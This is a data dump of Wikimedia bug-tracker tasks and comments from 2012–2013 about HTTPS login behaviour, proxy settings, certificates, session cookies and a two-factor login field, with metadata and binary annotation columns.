+
+Expected:
+Login on https should log you in on http
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=43909",Needs Triage,90.0,1359074100,1359734282.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-cb3ozaho23jhwlgfcdei,task_description,resolved,True,c2,1,False,False,True,-31,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+227882,Login on https doesn't log you in on http,"(In reply to comment #3)
+> This should resolve the bug:
+> https://gerrit.wikimedia.org/r/#/c/45922/
+
+Merged by MaxSem on the 30th.",,,1359734282,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,True,,,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+227875,Login on https doesn't log you in on http,"This should resolve the bug:
+https://gerrit.wikimedia.org/r/#/c/45922/",,,1359164942,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+227867,Login on https doesn't log you in on http,"True. I'm coming from a UX point of view here.
+
+What I'm getting at is if as a user I access wikipedia via http and click on login I am now logged in and accessing wikipedia over https.
+
+Now if I go to Wikipedia again on http via a google link I am now logged out and have to login again.
+
+This loop will continue until I get bored of logging into Wikipedia (logging in is dull right?)
+
+An ideal solution would be to remember a user logged in and redirect them to https on subsequent visits. How we might do this I'm not sure.",,,1359142064,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+227859,Login on https doesn't log you in on http,Logging in on https should NEVER log you in on http -- that defeats the purpose of an encrypted connection and makes it trivial for network sniffers or MiTM to steal your tokens.,,,1359141312,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,True,,,-31,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+46113,http proxy support broken,"**Author:** `buster2`
+
+**Description:**
+The change from Wed, 29 Feb 2012 in includes/HttpFunction.php broke mediawiki’s proxy support.
+
+see https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/core.git;a=commitdiff;h=1d065d50f63676e081b0101f849aaa0249b950c7;hp=2730e89017079d4675a8ef9d353255661a03a112 in function proxySetup() 
+
+-               if ( $this->proxy && !$this->noProxy ) {
+
+If there is a proxy set AND we should NOT USE proxy then return instantly without setting a proxy.
+
+That sounds reasonable.
+
++               if ( $this->proxy || !$this->noProxy ) {
+
+If there is a proxy set OR we should NOT USE proxy then return instantly without setting a proxy.
+(Correctly) Applying De_Morgan's laws we get:
+If there is a proxy set AND we should NOT NOT USE proxy then return instantly without setting a proxy.
+Simplifying we get:
+If there is a proxy set AND we should USE proxy then return instantly without setting a proxy.
+
+That doesn’t make any sense.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: normal",Needs Triage,90.0,1358524080,1358551330.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qayz5gik5bfo3elqy3tw,task_description,resolved,True,c2,1,False,False,True,-32,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+215790,http proxy support broken,"I think this is not what I proposed... 
+
+The mechanism was intended to disable a proxy (even if this has been set-up in the Settings) on a url-by-url base by setting noProxy for such urls (in an intranet) where no proxy is needed.",,,1358552120,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-qayz5gik5bfo3elqy3tw,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+215786,http proxy support broken,"I think there is some confusion with lazy loading there. If the proxy is already set, setting it again does nothing. The problem is with the default proxy setting.
+
+The code is way too confusing for what it actually does, but a quick change is proposed in https://gerrit.wikimedia.org/r/#/c/44682/1 for now.",,,1358535679,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-qayz5gik5bfo3elqy3tw,task_subcomment,,True,c2,1,False,,,-32,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0
+45583,bad certificate on integration.mediawiki.org,"Visiting https://integration.mediawiki.org/ direct or with a link from gerrit gives a bad certificate warning, because the certificate is for *.wikimedia.org.
+
+It is possible to get the right certificate here? Thanks.
+
+See also bug 40697
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1357126200,1358167436.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-kr6fcpndz6xhevdhteh3,task_description,declined,True,c2,1,False,False,True,-34,True,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+209280,bad certificate on integration.mediawiki.org,"The server uses a certification per domain (mediawiki.org or wikimedia.org. The entries 'integration' points to the same IP address on which Apache is listening.
+
+To find out which hostname is actually requested, the web client and server uses the Server Name Indication system http://en.wikipedia.org/wiki/Server_Name_Indication .
+
+The system is not implemented for Internet Explorer under Windows XP: http://blogs.msdn.com/b/ieinternals/archive/2009/12/07/certificate-name-mismatch-warnings-and-server-name-indication.aspx
+
+So either:
+- get a more recent OS
+- use a different web browser
+- accept the certificate (I guess that would work)
+
+
+The only possible fix would be to have two different public IP address on the continuous integration host, one address per domain. We are never going to do that.",,,1358167436,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+209276,bad certificate on integration.mediawiki.org,"With FireFox 17 I see a certificate for *.mediawiki.org from RapidSSL CA (GeoTrust, Inc.) from 18.07.2011 to 19.07.2016, all Okay.
+
+But with Internet Explorer 8 I see a certificate for *.wikimedia.org from Equifax (Equifax Secure Certificate Authority) from 03.08.2011 to 22.08.2015, not Okay
+
+I have cleared my cache, but there is something wrong with IE. Can someone test this with Internet Explorer? Thanks.",,,1357591943,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,False,,,-34,True,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+209273,bad certificate on integration.mediawiki.org,"alex@alex:~/Git/Wikimedia/Operations/puppet (production)$ git blame files/apache/sites/integration.mediawiki.org | grep SSL
+21b50367 (Antoine Musso 2011-11-17 14:50:15 +0100 112) 	SSLEngine on
+3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 113) 	SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem
+3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 114) 	SSLCertificateKeyFile /etc/ssl/private/star.mediawiki.org.key
+0e0d2d43 (dzahn         2011-12-28 16:52:37 +0100 115) 	SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem",,,1357574246,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+209268,bad certificate on integration.mediawiki.org,"Cert is indeed *.mediawiki.org, assuming it got fixed somehow.",,,1357574063,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+209260,bad certificate on integration.mediawiki.org,It's giving me a *.mediawiki.org certificate...,,,1357139626,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0
+44832,Can't return to http after login with $wgSecurelogin,"When $wgSecurelogin is true, the login has the checkbox ""Stay connected to HTTPS after login"".
+
+If this option is left unchecked, the user's session cookie is set with the secure flag, but the user is then forwarded to http, and loose their session.
+
+If you have not patched bug 40995, then you will often not see this, since the session frequently will be started under an insecure connection, and is not refreshed on login.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",Needs Triage,90.0,1354908720,1355339764.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_description,resolved,True,c2,1,True,False,True,-38,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+191203,Can't return to http after login with $wgSecurelogin,"Brian, I totally agree.
+
+Tyler, I *think* we can add a parameter to set the session as secure or insecure as part of the session refresh on a successful login.
+
+So the login csrf token is checked against the original session, but the new session is secure/insecure based on the checkbox.",,,1354911516,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,True,,,-38,True,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+191198,Can't return to http after login with $wgSecurelogin,"I would agree, but some wikis don't want that. I would agree to having an option forcing all logged in users to be on HTTPS, but we should at least have the option of allowing returning to HTTP.",,,1354911331,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+191190,Can't return to http after login with $wgSecurelogin,I would recommend removing the checkbox -- all logins should go through https or you're just leaving the account open to session stealing if on open networks.,,,1354910746,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,True,,,-38,True,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+191183,Can't return to http after login with $wgSecurelogin,https://gerrit.wikimedia.org/r/37488,,,1354910205,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+191178,Can't return to http after login with $wgSecurelogin,"Hmm, so since the session is set up when the form loads, from what I see the only way to fix this is to close the session, change the cookie parameters, and then restart the session.",,,1354909755,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-rpc7m2dj6naiq2gg7d4w,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+44823,Changed file bug report (on announcement) to https instead of http,"**Author:** `Thehelpfulonewiki`
+
+**Description:**
+Per recent guidelines to document every change, I adjusted the URL for the upgrade notification message at the bottom of this page to use https:// instead of http://, per a request by a user.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1354885920,1354885994.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_description,resolved,True,c2,1,False,False,True,-38,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+190617,Changed file bug report (on announcement) to https instead of http,Related URL: https://gerrit.wikimedia.org/r/58075 (Gerrit Change Ic8cc1a4ad79661ee478f538e92f78c06b9942e94),,,1365421828,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_subcomment,,True,c2,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+190609,Changed file bug report (on announcement) to https instead of http,"**Thehelpfulonewiki** wrote:
+
+This was done yesterday",,,1354885994,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-htyj7hvn7iwsj2mwoyav,task_subcomment,,True,c2,1,False,,,-38,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44605,Redirect on mobile browser drops https,"If you try to open a https Wikipedia page (for instance https://en.wikipedia.org/wiki/Wikipedia) on a mobile browser (for example Android 4.1's default browser), you get redirected to a non-https Wikipedia page (in the example above, http://en.m.wikipedia.org/wiki/Wikipedia).
+
+It should preserve the user's choice of http vs https, or always redirect to https.
+
+Version according to Special:Version: MobileFrontend (Version 0.7.0) (a572c13).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: Smartphone",Needs Triage,90.0,1354368720,1354536412.0,PHID-USER-kyti3k4dq56escr7mybr,False,,False,PHID-TASK-ieczcavlyccb4c2frbtg,task_description,resolved,True,c2,1,False,False,True,-39,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+202944,Redirect on mobile browser drops https,"Hi Cesar. Thanks for taking the time to report this!
+This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.
+
+*** This bug has been marked as a duplicate of bug 35215 ***",,,1354536412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ieczcavlyccb4c2frbtg,task_subcomment,,True,c2,1,True,,,-39,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+44409,www.wikimedia.org -> wikimediafoundation.org redirect strips https,"https://www.wikimedia.org/wiki/A => http://wikimediafoundation.org/wiki/A
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1353765600,1353765787.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-p2a5ggn5nlnettekd6tj,task_description,resolved,True,c2,1,False,False,True,-40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+190664,www.wikimedia.org -> wikimediafoundation.org redirect strips https,"This is already being fixed in Gerrit change 13293.
+
+*** This bug has been marked as a duplicate of bug 31369 ***",,,1353765787,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p2a5ggn5nlnettekd6tj,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+44146,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Seems to be introduced in Iaa04af187d182c0253931f3b4d099bbdd453bdf2. Could be CLI script or something else.
+
+--------------------------
+**Version**: master
+**Severity**: minor",Needs Triage,90.0,1352964120,1353035542.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_description,resolved,True,c2,1,False,False,True,-41,True,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+201076,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Hi - yes; this commit:
+
+https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/SemanticForms.git;a=commit;h=2ffe5a4d64704b138df46a8b9f36914d2d391733",,,1353068128,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+201070,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"Did you do something that might fix this, and if so what?",,,1353050275,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+201065,PHP Notice:  Undefined index: HTTP_USER_AGENT in /www/translatewiki.net/w/extensions/SemanticForms/includes/SF_FormUtils.php on line 252,"I believe this is now fixed; I'm setting to ""fixed"", but feel free to re-open.",,,1353035542,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-2qcfc4q4yivq6hblpq3r,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+44131,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","When I go to <https://labsconsole.wikimedia.org/wiki/Special:UserLogin>, I see:
+
+Username:    [     ]
+Password:    [     ]
+Your domain: [labs]
+Token:       [     ]
+[ ] Remember my login...
+
+The ""token"" field is apparently completely useless for a typical login. I'm not really sure why it's there at all. It confused the hell out of me when trying to register a new account. It should, at a minimum, say ""Token (optional)"" or something.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=46179",Needs Triage,90.0,1352944920,1353098216.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-yaenbow3yopcurwmttkx,task_description,declined,True,c2,1,True,False,True,-41,True,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+200108,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","I'm marking this WONTFIX: Challenge/response is the proper way of handling this, as you shouldn't let an attacker know if two-factor is enabled unless the user logs in with the proper username/password. MediaWiki core has no support for challenge/response.
+
+This isn't really a bug with labsconsole. If you'd like to see this fixed, open two bugs:
+
+1. A bug in mediawiki core for challenge/response
+2. A bug in extension OATHAuth to use the core support",,,1353098216,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+200101,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","(In reply to comment #2)
+> Oh, of course it's visible since you /might/ have 2-factor turned on.  So that
+> should be explained on the form somehow...
+
+Maybe even use JS to make it hidden by default in a drop down or something..",,,1352945216,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,True,,,-41,True,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+200095,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","Oh, of course it's visible since you /might/ have 2-factor turned on.  So that should be explained on the form somehow...",,,1352945158,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
